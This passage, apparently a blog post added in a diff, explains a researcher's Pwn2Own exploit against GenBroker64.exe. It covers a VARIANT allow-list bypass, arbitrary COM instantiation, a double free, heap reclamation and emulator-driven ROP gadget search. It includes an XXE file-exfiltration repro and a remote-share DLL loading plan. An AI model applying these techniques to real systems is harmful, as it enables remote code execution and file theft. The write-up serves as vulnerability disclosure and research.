+One of the primitive types is a [VARIANT](https://learn.microsoft.com/en-us/windows/win32/winauto/variant-structure). For those unfamiliar with this structure, it is used a lot in Windows, and is made of an integer that tells you how to interpret the data that follows. The type is an integer followed by a giant `union`:
+
+```c++
+typedef struct tagVARIANT {
+ struct {
+ VARTYPE vt;
+ WORD wReserved1;
+ WORD wReserved2;
+ WORD wReserved3;
+ union {
+ LONGLONG llVal;
+ LONG lVal;
+ BYTE bVal;
+ SHORT iVal;
+ FLOAT fltVal;
+ DOUBLE dblVal;
+ VARIANT_BOOL boolVal;
+ VARIANT_BOOL __OBSOLETE__VARIANT_BOOL;
+ SCODE scode;
+ CY cyVal;
+ DATE date;
+ BSTR bstrVal;
+ IUnknown *punkVal;
+ IDispatch *pdispVal;
+ SAFEARRAY *parray;
+ BYTE *pbVal;
+ SHORT *piVal;
+ LONG *plVal;
+ LONGLONG *pllVal;
+ FLOAT *pfltVal;
+ DOUBLE *pdblVal;
+ VARIANT_BOOL *pboolVal;
+ VARIANT_BOOL *__OBSOLETE__VARIANT_PBOOL;
+ SCODE *pscode;
+ CY *pcyVal;
+ DATE *pdate;
+ BSTR *pbstrVal;
+ IUnknown **ppunkVal;
+ IDispatch **ppdispVal;
+ SAFEARRAY **pparray;
+ VARIANT *pvarVal;
+ PVOID byref;
+ CHAR cVal;
+ USHORT uiVal;
+ ULONG ulVal;
+ ULONGLONG ullVal;
+ INT intVal;
+ UINT uintVal;
+ DECIMAL *pdecVal;
+ CHAR *pcVal;
+ USHORT *puiVal;
+ ULONG *pulVal;
+ ULONGLONG *pullVal;
+ INT *pintVal;
+ UINT *puintVal;
+ struct {
+ PVOID pvRecord;
+ IRecordInfo *pRecInfo;
+ } __VARIANT_NAME_4;
+ } __VARIANT_NAME_3;
+ } __VARIANT_NAME_2;
+ DECIMAL decVal;
+} VARIANT;
+```
+
+`Utils::ReadVariant` is the name of the function that reads a `VARIANT` from a stream of bytes, and it roughly looked like this:
+
+```c++
+void Utils::ReadVariant(tagVARIANT *Variant, Archive_t *Archive, int Level) {
+ TRY {
+ return ReadVariant_((CArchive *)Archive, (COleVariant *)Variant);
+ } CATCH_ALL(e) {
+ VariantClear(Variant);
+ }
+}
+
+HRESULT Utils::ReadVariant_(tagVARIANT *Variant, Archive_t *Archive, int Level) {
+ VARTYPE VarType = Archive.ReadUint16();
+ if((VarType & VT_ARRAY) != 0) {
+ // Special logic to unpack arrays..
+ return ..;
+ }
+
+ Size = VariantTypeToSize(VarType);
+ if (Size) {
+ Variant->vt = VarType;
+ return Archive.ReadInto(&Variant->decVal.8, Size);
+ }
+
+ if(!CheckVariantType(VarType)) {
+ // ...
+ throw Something();
+ }
+
+ return Archive >> Variant; // operator>> is imported from MFC
+}
+```
+
+The latest `Archive>>Variant` statement in `Utils::ReadVariant_` is actually what calls into the `mfc140u` module, and it is also the function that loads the COM object. I basically ignored it and thought it wouldn't be interesting 😳. Code that interacts with different subsystem and/or third-party APIs are actually very important to audit for security issues. Those components might even have been written by different people or teams. They might have had different level of scrutiny, different level of quality, or different threat models altogether. That API might expect to receive sanitized data when you might be feeding it data arbitrary controlled by an attacker. All of the above make it very likely for a developer to introduce a mistake that can lead to a security issue. Anyways, tough pill to swallow.
+
+First, `ReadVariant_` reads an integer to know what the variant holds. If it is an array, then it is handled by another function. `VariantTypeToSize` is a tiny function that returns the number of bytes to read based variant's type:
+
+```c++
+size_t VariantTypeToSize(VARTYPE VarType) {
+ switch(VarType) {
+ case VT_I1: return 1;
+ case VT_UI2: return 2;
+ case VT_UI4:
+ case VT_INT:
+ case VT_UINT:
+ case VT_HRESULT:
+ return 4;
+ case VT_I8:
+ case VT_UI8:
+ case VT_FILETIME:
+ return 8;
+ default:
+ return 0;
+ }
+}
+```
+
+It's important to note that it ignores anything that isnt't integer like (`uint8_t`, `uint16_t`, `uint32_t`, etc.) by returning zero. Otherwise, it returns the number of bytes that needs to be read for the variant's content. Makes sense right? If `VariantTypeToSize` returns zero, then `CheckVariantType` is used to as sanitization to only allow certain types:
+```c++
+bool CheckVariantType(VARTYPE VarType) {
+ if((VarType & 0x2FFF) != VarType) {
+ return false;
+ }
+
+ switch(VarType & 0xFFF) {
+ case VT_EMPTY:
+ case VT_NULL:
+ case VT_I2:
+ case VT_I4:
+ case VT_R4:
+ case VT_R8:
+ case VT_CY:
+ case VT_DATE:
+ case VT_BSTR:
+ case VT_ERROR:
+ case VT_BOOL:
+ case VT_VARIANT:
+ case VT_I1:
+ case VT_UI1:
+ case VT_UI2:
+ case VT_UI4:
+ case VT_I8:
+ case VT_UI8:
+ case VT_INT:
+ case VT_UINT:
+ case VT_HRESULT:
+ case VT_FILETIME:
+ return true;
+ break;
+ default:
+ return false;
+ }
+}
+```
+
+Only certain types are allowed, otherwise `Utils::ReadVariant_` throws an exception when `CheckVariantType` returns false. This looked solid to me.
+
+The first trick is how the `VT_EMPTY` type is handled. If one is received, `VariantTypeToSize` returns zero and `CheckVariantType` returns true, which leads us right into `mfc140u`'s `operator<<` function. So what though? How do we go from sending an empty variant to instantiating a COM object? 🤔
+
+The second trick enters the room. When `utils::ReadVariant` reads the variant type it **consumed** bytes from the stream which moved the buffer cursor forward. But the MFC's `operator>>` also needs to know the variant type.. do you see where this is going now? To do that, it needs to read **another two bytes** off the stream.. which means that we are now able to send arbitrary variant types, and bypass the allow list in `CheckVariantType`. Pretty cool, huh?
+
+As mentioned earlier, MFC is a library authored and shipped by Microsoft, so there's a good chance this function is documented somewhere. After googling around, I found its source code in my Visual Studio installation (`C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.29.30133\atlmfc\src\mfc\olevar.cpp`) and [it looked like this](https://github.com/mirror/winscp/blob/3266c40c2d98ae659b1e8fe32a596697f8bdacf0/libs/mfc/source/olevar.cpp#L779):
+```c++
+CArchive& AFXAPI operator>>(CArchive& ar, COleVariant& varSrc) {
+ LPVARIANT pSrc = &varSrc;
+ ar >> pSrc->vt;
+
+// ...
+ switch(pSrc->vt) {
+// ...
+ case VT_DISPATCH:
+ case VT_UNKNOWN: {
+ LPPERSISTSTREAM pPersistStream = NULL;
+ CArchiveStream stm(&ar);
+ CLSID clsid;
+ ar >> clsid.Data1;
+ ar >> clsid.Data2;
+ ar >> clsid.Data3;
+ ar.EnsureRead(&clsid.Data4[0], sizeof clsid.Data4);
+ SCODE sc = CoCreateInstance(clsid, NULL,
+ CLSCTX_ALL | CLSCTX_REMOTE_SERVER,
+ pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
+ (void**)&pSrc->punkVal);
+ if(sc == E_INVALIDARG) {
+ sc = CoCreateInstance(clsid, NULL,
+ CLSCTX_ALL & ~CLSCTX_REMOTE_SERVER,
+ pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
+ (void**)&pSrc->punkVal);
+ }
+ AfxCheckError(sc);
+ TRY {
+ sc = pSrc->punkVal->QueryInterface(
+ IID_IPersistStream, (void**)&pPersistStream);
+ if(FAILED(sc)) {
+ sc = pSrc->punkVal->QueryInterface(
+ IID_IPersistStreamInit, (void**)&pPersistStream);
+ }
+ AfxCheckError(sc);
+ AfxCheckError(pPersistStream->Load(&stm));
+ } CATCH_ALL(e) {
+ if(pPersistStream != NULL) {
+ pPersistStream->Release();
+ }
+ pSrc->punkVal->Release();
+ THROW_LAST();
+ }
+ END_CATCH_ALL
+ pPersistStream->Release();
+ }
+ return ar;
+ }
+}
+```
+
+A class identifier is indeed read directly from the archive, and a COM object is instantiated. Although we can instantiate any COM object, it needs to implement [IID_IPersistStream](https://learn.microsoft.com/en-us/windows/win32/api/objidl/nn-objidl-ipersiststream) or [IID_IPersistStreamInit](https://learn.microsoft.com/en-us/windows/win32/api/ocidl/nn-ocidl-ipersiststreaminit) otherwise the function bails. If you are not familiar with this interface, here's what the MSDN says about it:
+
+> Enables the saving and loading of objects that use a simple serial stream for their storage needs.
+
+You can serialize such an object with [Save](https://learn.microsoft.com/en-us/windows/win32/api/objidl/nf-objidl-ipersiststream-save), send those bytes over a socket / store them on the filesystem, and recreate the object on the other side with [Load](https://learn.microsoft.com/en-us/windows/win32/api/objidl/nf-objidl-ipersiststream-load). The other exciting detail is that the COM object loads itself from the stream in which we can place arbitrary content (via the socket).
+
+This seemed **highly insecure** so I was over the moon. I knew there would be a way to exploit that behavior although I might not find a way in time. But I was convinced there has to be a way 💪🏽.
+
+# 🔥 Exploit engineering: Building Paracosme
+
+First, I wrote tooling to enumerate available COM objects implementing either of the interfaces on a freshly installed system, and loaded them one by one. While doing that, I ran into a couple of memory safety issues that I reported to MSRC as [CVE-2022-21971](https://github.com/0vercl0k/CVE-2022-21971) and [CVE-2022-21974](https://github.com/0vercl0k/CVE-2022-21974). It turns out RTF documents (loadable via Microsoft Word) can embed arbitrary COM class IDs that get instantiated via `OleLoad`. Once I had a list of candidates, I moved away from automation, and started to analyze them manually.
+
+That search didn't yield much to be honest which was disappointing. The only mildly interesting thing I found is a way to exfiltrate arbitrary files via an [XXE](https://portswigger.net/web-security/xxe). It was really nice because it’s 100% reliable. I loaded an older `MSXML` (Microsoft XML, `2933BF90-7B36-11D2-B20E-00C04F983E60`), and sent a crafted XML document in the stream to exfiltrate an arbitrary file to a remote HTTP server. Maybe this trick is useful to somebody one day, so here is a repro:
+
+```c++
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#pragma comment(lib, "shlwapi.lib")
+
+std::optional Guid(const std::string &S) {
+ GUID G = {};
+ if (sscanf_s(S.c_str(),
+ "{%8" PRIx32 "-%4" PRIx16 "-%4" PRIx16 "-%2" PRIx8 "%2" PRIx8 "-"
+ "%2" PRIx8 "%2" PRIx8 "%2" PRIx8 "%2" PRIx8 "%2" PRIx8 "%2" PRIx8
+ "}",
+ &G.Data1, &G.Data2, &G.Data3, &G.Data4[0], &G.Data4[1],
+ &G.Data4[2], &G.Data4[3], &G.Data4[4], &G.Data4[5], &G.Data4[6],
+ &G.Data4[7]) != 11) {
+ return std::nullopt;
+ }
+
+ return G;
+}
+
+int main(int argc, char *argv[]) {
+ const char *Key = "{2933BF90-7B36-11D2-B20E-00C04F983E60}";
+ const auto &ClassId = Guid(Key);
+
+ CoInitialize(nullptr);
+ if (!ClassId.has_value()) {
+ printf("Guid failed w/ '%s'\n", Key);
+ return EXIT_FAILURE;
+ }
+
+ printf("Trying to create %s\n", Key);
+ IUnknown *Unknown = nullptr;
+ HRESULT Hr = CoCreateInstance(ClassId.value(), nullptr, CLSCTX_ALL,
+ IID_IUnknown, (LPVOID *)&Unknown);
+ if (FAILED(Hr)) {
+ Hr = CoCreateInstance(ClassId.value(), nullptr, CLSCTX_ALL, IID_IDispatch,
+ (LPVOID *)&Unknown);
+ }
+
+ if (FAILED(Hr)) {
+ printf("Failed CoCreateInstance %s\n", Key);
+ return EXIT_FAILURE;
+ }
+
+ IPersistStream *PersistStream = nullptr;
+ Hr = Unknown->QueryInterface(IID_IPersistStream, (LPVOID *)&PersistStream);
+ DWORD Return = EXIT_SUCCESS;
+ if (SUCCEEDED(Hr)) {
+ printf("SUCCESS %s!\n", Key);
+ // - Content of xxe.dtd:
+ // ```
+ //
+ // ">
+ // %root;
+ // %oob;
+ // ```
+ const char S[] = R"(
+
+%sp;&root;
+]>))";
+ IStream *Stream = SHCreateMemStream((const BYTE *)S, sizeof(S));
+ PersistStream->Load(Stream);
+ Stream->Release();
+ }
+
+ if (PersistStream) {
+ PersistStream->Release();
+ }
+
+ Unknown->Release();
+ return Return;
+}
+```
+
+This is what it looks like when running it:
+
+
+
+This felt somewhat like progress, but realistically it didn't get me closer to demonstrating remote code execution against the target 😒 I didn't think the ZDI would accept arbitrary file exfiltration as a way to demonstrate RCE, but in retrospect I probably should have asked. I also could have looked for an interesting file to exfiltrate; something with credentials that would allow me to escalate privileges somehow. But instead, I went to the grind.
+
+I had been playing with the COM thing for a while now, but something big had been in front of my eyes this whole time. One afternoon, I was messing around and started loading some of the candidates I gathered earlier, and `GenBroker64.exe` crashed 😮
+
+```text
+First chance exceptions are reported before any exception handling.
+This exception may be expected and handled.
+OLEAUT32!VarWeekdayName+0x22468:
+00007ffa'e620c7f8 488b01 mov rax,qword ptr [rcx] ds:00000000'2e5a2fd0=????????????????
+```
+
+What the hell, I thought? I tried it again.. and the crash reproduced.
+
+## Understanding the bug
+
+After looking at the code closer, I started to understand what was going on. In `operator>>` we can see that if the `Load()` call throws an exception, it is caught to clean up, and `Release()` both `pPersistStream` & `pSrc->punkVal` (`[2]`). That makes sense.
+
+```c++
+CArchive& AFXAPI operator>>(CArchive& ar, COleVariant& varSrc) {
+ LPVARIANT pSrc = &varSrc;
+ ar >> pSrc->vt;
+
+// ...
+ switch(pSrc->vt) {
+// ...
+ case VT_DISPATCH:
+ case VT_UNKNOWN: {
+ LPPERSISTSTREAM pPersistStream = NULL;
+ CArchiveStream stm(&ar);
+// ...
+// [1]
+ SCODE sc = CoCreateInstance(clsid, NULL,
+ CLSCTX_ALL | CLSCTX_REMOTE_SERVER,
+ pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
+ (void**)&pSrc->punkVal);
+// ...
+ TRY {
+ sc = pSrc->punkVal->QueryInterface(
+ IID_IPersistStream, (void**)&pPersistStream);
+// ...
+ AfxCheckError(pPersistStream->Load(&stm));
+ } CATCH_ALL(e) {
+// [2]
+ if(pPersistStream != NULL) {
+ pPersistStream->Release();
+ }
+ pSrc->punkVal->Release();
+ THROW_LAST();
+ }
+```
+
+The subtlety, though, is that the pointer to the instantiated COM object has been written into `pSrc` (`[1]`). `pSrc` is a reference to a `VARIANT` object that the caller passed. This is an important detail because `Utils::ReadVariant` will also catch any exceptions, and will clear `Variant`:
+```c++
+void Utils::ReadVariant(tagVARIANT *Variant, Archive_t *Archive, int Level) {
+ TRY {
+ return ReadVariant_((CArchive *)Archive, (COleVariant *)Variant);
+ } CATCH_ALL(e) {
+ VariantClear(Variant);
+ }
+}
+```
+
+Because `Variant` has been modified by `operator>>`, [VariantClear](https://learn.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-variantclear) sees that the variant is holding a COM instance, and so it needs to free it which leads to a double free... 🔥 Unfortunately, IDA (still?) doesn't have good support for exception handling in the [Hex-Rays](https://hex-rays.com/) decompiler which makes it hard to see that logic.
+
+
+
+This bug is interesting. I feel like the MFC `operator>>` could protect callers from bugs like this by `NULL`'ing out `pSrc->punkVal` after releasing it, and updating the variant type to `VT_EMPTY`. Or, modify `pSrc` **only when** the function is about to return a success, but not before. Otherwise it is hard for the exception handler of `Utils::ReadVariant` even to know if `Variant` needs to be cleared or not. But who knows, there might be legit reasons as to why the operator works this way 🤷🏽♂️ Regardless, I wouldn't be surprised if bugs like this exist in other applications 🤔. Check out [paracosme-poc.py](https://github.com/0vercl0k/paracosme/blob/main/src/paracosme-poc.py) if you would like to trigger this behavior.
+
+
+The planets were slowly aligning, and I was still in the game. There should be enough time to build an exploit based on what I know. Before digging into the exploit engineering, let's do a recap:
+- `GenBroker64.exe` listens on TCP:38080 and deserializes messages sent by the client
+- Although it tries to allow only certain VARIANT types, there is a bug. If the user sends a `VT_EMPTY` VARIANT, the MFC `operator>>` is called which will read a VARIANT off the stream. `GenBroker64.exe` doesn't rewind the stream so the MFC reads another VARIANT type that doesn't go through the allow list. This allows to bypass the allow list and have the MFC instantiate an arbitrary COM object.
+- If the COM object throws an exception while either the `QueryInterface` or `Load` method is called, the instantiated COM object will be double-free'd. The second free is done by [VariantClear](https://learn.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-variantclear), which internally calls the object's virtual `Release` method.
+
+If we can reclaim the freed memory **after** the first free but **before** [VariantClear](https://learn.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-variantclear), then we control a vtable pointer, and as a result hijack control flow 💥.
+
+Let's now work on engineering planet alignments 💫.
+
+## Can I reclaim the chunk with controlled data?
+
+I had a lot of questions but the important ones were:
+
+1. Can I run multiple clients at the same time, and if so, can I use them to reclaim the memory chunk?
+1. Is there any behavior in the heap allocator that prevents another thread from reclaiming the chunk?
+1. Assuming I can reclaim it, can I fill it with controlled data?
+
+To answer the first two questions, I ran `GenBroker64.exe` under a debugger to verify that I could execute other clients while the target thread was frozen. While doing that, I also confirmed that the freed chunk can be reclaimed by another client when the target thread is frozen right after the first free.
+
+The third question was a lot more work though. I first looked into leveraging another COM object that allowed me to fill the reclaimed chunk with arbitrary content via the `Load` method. I modified the tooling I wrote to enumerate and find suitable candidates, but I eventually walked away. Many COM objects used a different allocator or were allocating off a different heap, and I never really found one that allowed me to control as much as I wanted off the reclaimed chunk.
+
+I moved on, and started to look at using a different message to both reclaim and fill the chunk with controlled content. The message with the id `0x7d0` exactly fits the bill: it allows for an allocation of an arbitrary size and lets the client fully control its content which is perfect 👌🏽. The function that deserializes this message allocates and fills up an array of arbitrary size made of 32-bit integers, and this is what it looks like:
+```c++
+void __fastcall PayloadReq7D0_t::ReadFromArchive(PayloadReq7D0_t *Payload, Archive_t *Archive) {
+// ...
+ if ( (Archive->m_nMode & ArchiveReadMode) != 0 )
+ {
+ Archive::ReadString((CArchive *)Archive, (CString *)Payload);
+ Archive::ReadString((CArchive *)Archive, (CString *)&Payload->ProgId);
+ Archive::ReadString((CArchive *)Archive, (CString *)&Payload->StringC);
+ Archive::ReadUint32_(Archive, &Payload->qword18);
+ Archive::ReadUint32_(Archive, &Payload->BufferSize);
+ BufferSize = Payload->BufferSize;
+ if ( BufferSize )
+ {
+ Buffer = calloc(BufferSize, 4ui64);
+ Payload->Buffer = Buffer;
+ if ( Buffer )
+ {
+ for ( i = 0i64; (unsigned int)i < Payload->BufferSize; Archive->m_lpBufCur += 4 )
+ {
+ Entry = &Payload->Buffer[i];
+// ...
+ *Entry = *(_DWORD *)m_lpBufCur;
+ }
+// ...
+```
+
+## Hijacking control flow & ROPing to get arbitrary native code execution
+
+Once I identified the right memory primitives, then hijacking control flow was pretty straightforward. As I mentioned above, `VariantClear` reads the first 8 bytes of the object as a virtual table. Then, it reads off this virtual table at a specific offset and dispatches an indirect call. This is the assembly code with `@rcx` pointing to the variant that we reclaimed and filled with arbitrary content:
+```text
+0:011> u . l3
+OLEAUT32!VariantClear+0x20b:
+00007ffb'0df751cb mov rax,qword ptr [rcx]
+00007ffb'0df751ce mov rax,qword ptr [rax+10h]
+00007ffb`0df751d2 call qword ptr [00007ffb`0df82660]
+
+0:011> u poi(00007ffb`0df82660)
+OLEAUT32!SetErrorInfo+0xec0:
+00007ffb`0deffd40 jmp rax
+```
+
+The first instruction reads the virtual table address into `@rax`, then the `Release` virtual method address is read at offset `0x10` from the table, and finally, `Release` is called via an indirect call. Imagine that the below is the content of the reclaimed variant object:
+
+```text
+0x11111111'11111111
+0x22222222'22222222
+0x33333333'33333333
+```
+
+Execution will be redirected to `[[0x11111111'11111111] + 0x10]` which means:
+
+1. `0x11111111'11111111` needs to be an address that points somewhere readable in the address space to not crash,
+1. At the same time, it needs to be pointing to another address (to which is added the offset `0x10`) that will point to where we want to pivot execution.
+
+I was like, ugh, this constrained `call` primitive is a bit annoying 😒. Another crucial piece that we haven't brought up yet is... ASLR. But fortunately for us, the main module `GenBroker64.exe` isn't randomized but the rest of the address space is. Technically this is false because `GenClient64.dll` wasn't randomized either but I quickly ditched it as it was tiny and uninteresting. The only option for us is to use gadgets from `GenBroker64.exe` only because we do not have a way to leak information about the target's address space. On top of that, the used-after-free object is `0xc0` bytes long which didn't give us a lot of room for a ROP chain (at best `0xc0 / 8 = 24` slots).
+
+All those constraints felt underwhelming at first, so I decided to address them one by one. What do we need from our ROP chain? The ROP chain needs to demonstrate arbitrary code execution, which is commonly done by popping a shell. Because of ASLR, we don't know where [CreateProcess](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa) or similar are in memory. We are stuck to reusing functions imported by `GenBroker64.exe`. This is possible because we know where its [Import Address Table](https://learn.microsoft.com/en-us/archive/msdn-magazine/2002/march/inside-windows-an-in-depth-look-into-the-win32-portable-executable-file-format-part-2) is, and we know API addresses are populated in this table by the PE loader when the process is created. Unfortunately, `GenBroker64.exe` doesn't import anything super exciting:
+
+
+
+The only obvious import that stands out was [LoadLibraryExW](https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibraryexw). It allows loading a DLL hosted on a remote share. This is cool, but it also means we need to burn space in the reclaimed heap chunk just to store a UTF-16 string that looks like the following: `\\192.168.1.1\x\a.dll\x00`. This is already ~44 bytes 😓.
+
+How the hell do we boost the constrained call primitive into an arbitrary call primitive 🤔? Based on the constraints, looking for that magic gadget was painful and a bit of a walk in the desert. I started doing it manually and focusing on virtual tables because in essence.. we need a very specific one. On top of being well formed, the function pointer at offset `0x10` needs to be pointing to a piece of code that is useful for us. After hours and hours of prototyping, searching, and trying ideas, I lost hope. It was so weird because it felt like I was so close but so far away at the same time 😢.
+
+I switched gears and decided to write a brute-force tool. The idea was to capture a crash dump when I hijack control flow and replace the virtual address table pointer with EVERY addressable part of `GenBroker64.exe`. The emulator executes forward and catches crashes. When one occurs, I can check postconditions such as 'Does RIP have a value that looks like a controlled value'? I initially wrote this as a quick & dirty script but recently rewrote it in Rust as a learning exercise 🦀. I'll try to clean it up and release it if people are interested. The precondition function is used to insert the candidate address right where the vtable is expected to be at to simulate our exploit. The `pre` function runs before the emulator starts executing:
+```rust
+impl Finder for Pwn2OwnMiami2022_1 {
+ fn pre(&mut self, emu: &mut Emu, candidate: u64) -> Result<()> {
+ // ```
+ // (1574.be0): Access violation - code c0000005 (first/second chance not available)
+ // For analysis of this file, run !analyze -v
+ // oleaut32!VariantClearWorker+0xff:
+ // 00007ffb`3a3dc7fb 488b4010 mov rax,qword ptr [rax+10h] ds:deadbeef`baadc0ee=????????????????
+ //
+ // 0:011> u . l3
+ // oleaut32!VariantClearWorker+0xff:
+ // 00007ffb`3a3dc7fb 488b4010 mov rax,qword ptr [rax+10h]
+ // 00007ffb`3a3dc7ff ff15c3ce0000 call qword ptr [oleaut32!_guard_dispatch_icall_fptr (00007ffb`3a3e96c8)]
+ //
+ // 0:011> u poi(00007ffb`3a3e96c8)
+ // oleaut32!guard_dispatch_icall_nop:
+ // 00007ffb`3a36e280 ffe0 jmp rax
+ // ```
+ let rcx = emu.rcx();
+
+ // Rewind to the instruction right before the crash:
+ // ```
+ // 0:011> ub .
+ // oleaut32!VariantClearWorker+0xe6:
+ // ...
+ //00007ffb'3a3dc7f8 488b01 mov rax,qword ptr [rcx]
+ // ```
+ emu.set_rip(0x00007ffb_3a3dc7f8);
+
+ // Overwrite the buffer we control with the `MARKER_PAGE_ADDR`. The first qword
+ // is used to hijack control flow, so this is where we write the candidate
+ // address.
+ for qword in 0..18 {
+ let idx = qword * std::mem::size_of::();
+ let idx = idx as u64;
+ let value = if qword == 0 {
+ candidate
+ } else {
+ MARKER_PAGE_ADDR.u64()
+ };
+
+ emu.virt_write(Gva::new(rcx + idx), &value)?;
+ }
+
+ Ok(())
+ }
+
+ fn post(&mut self, emu: &Emu) -> Result {
+ // ...
+ }
+}
+```
+
+The `post` function runs after the emulator halted (because of a crash or a timeout). The below tries to identify a tainted RIP:
+```rust
+impl Finder for Pwn2OwnMiami2022_1 {
+ fn pre(&mut self, emu: &mut Emu, candidate: u64) -> Result<()> {
+ // ...
+ }
+
+ fn post(&mut self, emu: &Emu) -> Result {
+ // What we want here, is to find a sequence of instructions that leads to @rip
+ // being controlled. To do that, in the |Pre| callback, we populate the buffer
+ // we control with the `MARKER_PAGE_ADDR`, which is a magic address
+ // that'll trigger a fault if it's accessed/written to / executed. Basically,
+ // we want to force a crash as this might mean that we successfully found a
+ // gadget that'll allow us to turn the constrained arbitrary call from above,
+ // to an uncontrolled where we don't need to worry about dereferences (cf |mov
+ // rax, qword ptr [rax+10h]|).
+ //
+ // Here is the gadget I ended up using:
+ // ```
+ // 0:011> u poi(1400aed18)
+ // 00007ffb2137ffe0 sub rsp,38h
+ // 00007ffb2137ffe4 test rcx,rcx
+ // 00007ffb2137ffe7 je 00007ffb`21380015
+ // 00007ffb2137ffe9 cmp qword ptr [rcx+10h],0
+ // 00007ffb2137ffee jne 00007ffb`2137fff4
+ // ...
+ // 00007ffb2137fff4 and qword ptr [rsp+40h],0
+ // 00007ffb2137fffa mov rax,qword ptr [rcx+10h]
+ // 00007ffb2137fffe call qword ptr [mfc140u!__guard_dispatch_icall_fptr (00007ffb`21415b60)]
+ // ```
+ let mask = 0xffffffff_ffff0000u64;
+ let marker = MARKER_PAGE_ADDR.u64();
+ let rip_has_marker = (emu.rip() & mask) == (marker & mask);
+
+ Ok(rip_has_marker)
+ }
+}
+```
+
+I went for lunch to take a break and let the bruteforce run while I was out. I came back and started to see exciting results 😮:
+
+
+
+Although it took multiple iterations to tighten the postconditions to eliminate false positives, I eventually found glorious `0x1400aed08`. Let's run through what glorious `0x1400aed08` does. Small reminder, this is the code we hijack control-flow from:
+```text
+00007ffb'0df751cb mov rax,qword ptr [rcx]
+00007ffb'0df751ce mov rax,qword ptr [rax+10h]
+00007ffb`0df751d2 call qword ptr [00007ffb`0df82660] ; points to jump @rax
+```
+
+Okay, the first instruction reads the first QWORD in the heap chunk which we'll set to `0x1400aed08`. The second instruction reads the QWORD at `0x1400aed08+0x10`, which points to a function in `mfc140u!CRuntimeClass::CreateObject`:
+```text
+0:011> dqs 0x1400aed08+10
+00000001`400aed18 00007ffb`2137ffe0 mfc140u!CRuntimeClass::CreateObject [D:\a01\_work\6\s\src\vctools\VC7Libs\Ship\ATLMFC\Src\MFC\objcore.cpp @ 127]
+```
+
+Execution is transferred to `0x7ffb2137ffe0` / `mfc140u!CRuntimeClass::CreateObject`, which does the following:
+```text
+0:011> u 00007ffb2137ffe0
+00007ffb2137ffe0 sub rsp,38h
+00007ffb2137ffe4 test rcx,rcx
+00007ffb2137ffe7 je 00007ffb'21380015 ; @rcx is never going to be zero, so we won't take this jump
+00007ffb2137ffe9 cmp qword ptr [rcx+10h],0 ; @rcx+0x10 is populated with data from our future ROP chain
+00007ffb2137ffee jne 00007ffb'2137fff4 ; so it will never be zero meaning we'll take this jump always
+...
+00007ffb2137fff4 and qword ptr [rsp+40h],0
+00007ffb2137fffa mov rax,qword ptr [rcx+10h]
+00007ffb2137fffe call qword ptr [mfc140u!__guard_dispatch_icall_fptr (00007ffb`21415b60)]
+
+0:011> u poi(00007ffb`21415b60)
+mfc140u!_guard_dispatch_icall_nop [D:\a01\_work\6\s\src\vctools\crt\vcstartup\src\misc\amd64\guard_dispatch.asm @ 53]:
+00007ffb`21407190 ffe0 jmp rax
+```
+
+Okay, so this is .. amazing ✊🏽. It reads at offset `0x10` off our chunk, and assuming it isn't zero it will redirect execution there. If we set-up the reclaimed chunk to have the first QWORD be `0x1400aed08`, and the one at offset `0x10` to `0xdeadbeefbaadc0de`, then execution is redirected to `0xdeadbeefbaadc0de`. This precisely boosts the constrained call primitive into an arbitrary call primitive. This is solid progress, and it filled me with hope.
+
+With an arbitrary call primitive in hands, we need to find a way to kick-start a ROP chain. Usually, the easiest way to do that is to pivot the stack to an area you control. Chaining the gadgets is as easy as returning to the next one in line. Unfortunately, finding this pivot was also pretty annoying. `GenBroker64.exe` is fairly small in size and doesn't offer many super valuable gadgets. Another wall.
+
+I decided to try to find the pivot gadget with my tool. Like in the previous example, I injected the candidate address at the right place, looked for a stack pivoted inside the heap chunk we have control over, and a tainted RIP:
+```rust
+impl Finder for Pwn2OwnMiami2022_2 {
+ fn pre(&mut self, emu: &mut Emu, candidate: u64) -> Result<()> {
+ // Here, we continue where we left off after the gadget found in |miami1|,
+ // where we went from constrained arbitrary call, to unconstrained arbitrary
+ // call. At this point, we want to pivot the stack to our heap chunk.
+ //
+ // ```
+ // (1de8.1f6c): Access violation - code c0000005 (first/second chance not available)
+ // For analysis of this file, run !analyze -v
+ // mfc140u!_guard_dispatch_icall_nop:
+ // 00007ffd`57427190 ffe0 jmp rax {deadbeef`baadc0de}
+ //
+ // 0:011> dqs @rcx
+ // 00000000`1970bf00 00000001`400aed08 GenBroker64+0xaed08
+ // 00000000`1970bf08 bbbbbbbb`bbbbbbbb
+ // 00000000`1970bf10 deadbeef`baadc0de <-- this is where @rax comes from
+ // 00000000`1970bf18 61616161`61616161
+ // ```
+ self.rcx_before = emu.rcx();
+
+ // Fix up @rax with the candidate's address.
+ emu.set_rax(candidate);
+
+ // Fix up the buffer, where the address of the candidate would be if we were
+ // executing it after |miami1|.
+ let size_of_u64 = std::mem::size_of::() as u64;
+ let second_qword = size_of_u64 * 2;
+ emu.virt_write(Gva::from(self.rcx_before + second_qword), &candidate)?;
+
+ // Overwrite the buffer we control with the `MARKER_PAGE_ADDR`. Skip the first 3
+ // qwords, because the first and third ones are already used to hijack flow
+ // and the second we skip it as it makes things easier.
+ for qword_idx in 3..18 {
+ let byte_idx = qword_idx * size_of_u64;
+ emu.virt_write(
+ Gva::from(self.rcx_before + byte_idx),
+ &MARKER_PAGE_ADDR.u64(),
+ )?;
+ }
+
+ Ok(())
+ }
+
+ fn post(&mut self, emu: &Emu) -> Result {
+ //Let's check if we pivoted into our buffer AND that we also are able to
+ // start a ROP chain.
+ let wanted_landing_start = self.rcx_before + 0x18;
+ let wanted_landing_end = self.rcx_before + 0x90;
+ let pivoted = has_stack_pivoted_in_range(emu, wanted_landing_start..=wanted_landing_end);
+
+ let mask = 0xffffffff_ffff0000;
+ let rip = emu.rip();
+ let rip_has_marker = (rip & mask) == (MARKER_PAGE_ADDR.u64() & mask);
+ let is_interesting = pivoted && rip_has_marker;
+
+ Ok(is_interesting)
+ }
+}
+```
+
+After running it for a while, `0x14005bd25` appeared:
+
+
+
